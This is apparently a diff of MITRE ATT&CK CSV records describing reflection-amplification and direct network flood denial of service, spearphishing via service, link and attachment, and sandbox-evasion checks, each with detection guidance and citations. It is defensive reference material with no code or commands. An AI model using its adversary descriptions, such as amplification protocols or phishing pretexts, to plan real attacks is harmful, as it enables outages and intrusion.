'https://capec.mitre.org/data/definitions/490.html'}, {'source_name': 'Cloudflare ReflectionDoS May 2017', 'url': 'https://blog.cloudflare.com/reflections-on-reflections/', 'description': 'Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.'}, {'source_name': 'Cloudflare DNSamplficationDoS', 'url': 'https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/', 'description': 'Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.'}, {'source_name': 'Cloudflare NTPamplifciationDoS', 'url': 'https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/', 'description': 'Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.""}, {'source_name': 'Cloudflare Memcrashed Feb 2018', 'url': 'https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/', 'description': 'Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.'}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.2,True,https://attack.mitre.org/techniques/T1498/002,mitre-attack,T1498.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Reflection Amplification,"Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) +Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)","['defense-evasion', 'discovery']",https://attack.mitre.org/techniques/T1497/001,mitre-attack,T1497.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Deloitte Threat Library Team'],"['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']","['Static File Analysis', 'Signature-based detection', 'Host forensic analysis', 'Anti-virus']","Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1498/002', 'external_id': 'T1498.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/490.html', 'external_id': 'CAPEC-490'}, {'source_name': 'Cloudflare ReflectionDoS May 2017', 'description': 'Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.', 'url': 'https://blog.cloudflare.com/reflections-on-reflections/'}, {'source_name': 'Cloudflare DNSamplficationDoS', 'description': 'Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/'}, {'source_name': 'Cloudflare NTPamplifciationDoS', 'description': 'Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.', 'url': 'https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/'}, {'source_name': 'Arbor AnnualDoSreport Jan 2018', 'description': ""Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."", 'url': 'https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf'}, {'source_name': 'Cloudflare Memcrashed Feb 2018', 'description': 'Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.', 'url': 'https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.2,attack-pattern,attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T20:08:03.691Z,2021-03-29T16:13:53.747Z,Reflection Amplification,"Adversaries may attempt to cause a denial of service by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) -Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01,attack-pattern,['impact'],2021-03-29T16:13:53.747Z,2020-03-02T20:08:03.691Z,"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-490,https://capec.mitre.org/data/definitions/490.html,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1498.001', 'url': 'https://attack.mitre.org/techniques/T1498/001'}, {'external_id': 'CAPEC-125', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/125.html'}, {'external_id': 'CAPEC-486', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/486.html'}, {'source_name': 'USNYAG IranianBotnet March 2016', 'url': 'https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged', 'description': 'Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.'}, {'source_name': 'Cisco DoSdetectNetflow', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]",1.2,True,https://attack.mitre.org/techniques/T1498/001,mitre-attack,T1498.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Direct Network Flood,"Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. +Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",['impact'],https://attack.mitre.org/techniques/T1498/002,mitre-attack,T1498.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,"Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-490,https://capec.mitre.org/data/definitions/490.html,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1498/001', 'external_id': 'T1498.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/125.html', 'external_id': 'CAPEC-125'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/486.html', 'external_id': 'CAPEC-486'}, {'source_name': 'USNYAG IranianBotnet March 2016', 'description': 'Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.', 'url': 'https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",1.2,attack-pattern,attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T20:07:18.651Z,2021-03-29T16:11:56.727Z,Direct Network Flood,"Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. -Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3,attack-pattern,['impact'],2021-03-29T16:11:56.727Z,2020-03-02T20:07:18.651Z,"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-486,https://capec.mitre.org/data/definitions/486.html,,,,['Availability'],,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1566.003', 'url': 'https://attack.mitre.org/techniques/T1566/003'}, {'external_id': 'CAPEC-163', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.0,True,https://attack.mitre.org/techniques/T1566/003,mitre-attack,T1566.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing via Service,"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. +Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",['impact'],https://attack.mitre.org/techniques/T1498/001,mitre-attack,T1498.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,CAPEC-486,https://capec.mitre.org/data/definitions/486.html,,,,['Availability'],, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566/003', 'external_id': 'T1566.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'}]",2.0,attack-pattern,attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T19:24:00.951Z,2020-10-18T01:55:02.988Z,Spearphishing via Service,"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. -A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317,attack-pattern,['initial-access'],2020-10-18T01:55:02.988Z,2020-03-02T19:24:00.951Z,"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. +A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",['initial-access'],https://attack.mitre.org/techniques/T1566/003,mitre-attack,T1566.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. -Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,"['Linux', 'macOS', 'Windows']",,CAPEC-163,https://capec.mitre.org/data/definitions/163.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1566.002', 'url': 'https://attack.mitre.org/techniques/T1566/002'}, {'external_id': 'CAPEC-163', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html'}, {'source_name': 'Trend Micro Pawn Storm OAuth 2017', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks', 'description': 'Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.'}, {'source_name': 'Microsoft Anti Spoofing', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.'}, {'source_name': 'ACSC Email Spoofing', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.1,True,https://attack.mitre.org/techniques/T1566/002,mitre-attack,T1566.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing Link,"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.",True,,"['Linux', 'macOS', 'Windows']",,CAPEC-163,https://capec.mitre.org/data/definitions/163.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566/002', 'external_id': 'T1566.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'}, {'source_name': 'Trend Micro Pawn Storm OAuth 2017', 'description': 'Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",2.1,attack-pattern,attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T19:15:44.182Z,2021-04-14T14:38:42.715Z,Spearphishing Link,"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7,attack-pattern,['initial-access'],2021-04-14T14:38:42.715Z,2020-03-02T19:15:44.182Z,"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",['initial-access'],https://attack.mitre.org/techniques/T1566/002,mitre-attack,T1566.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) -Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Philip Winther', 'Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']",,,"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",,CAPEC-163,https://capec.mitre.org/data/definitions/163.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1566.001', 'url': 'https://attack.mitre.org/techniques/T1566/001'}, {'external_id': 'CAPEC-163', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html'}, {'source_name': 'Microsoft Anti Spoofing', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.'}, {'source_name': 'ACSC Email Spoofing', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]",2.1,True,https://attack.mitre.org/techniques/T1566/001,mitre-attack,T1566.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing Attachment,"Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. +Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",True,,"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",,CAPEC-163,https://capec.mitre.org/data/definitions/163.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566/001', 'external_id': 'T1566.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",2.2,attack-pattern,attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T19:05:18.137Z,2021-10-18T17:39:12.452Z,Spearphishing Attachment,"Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or 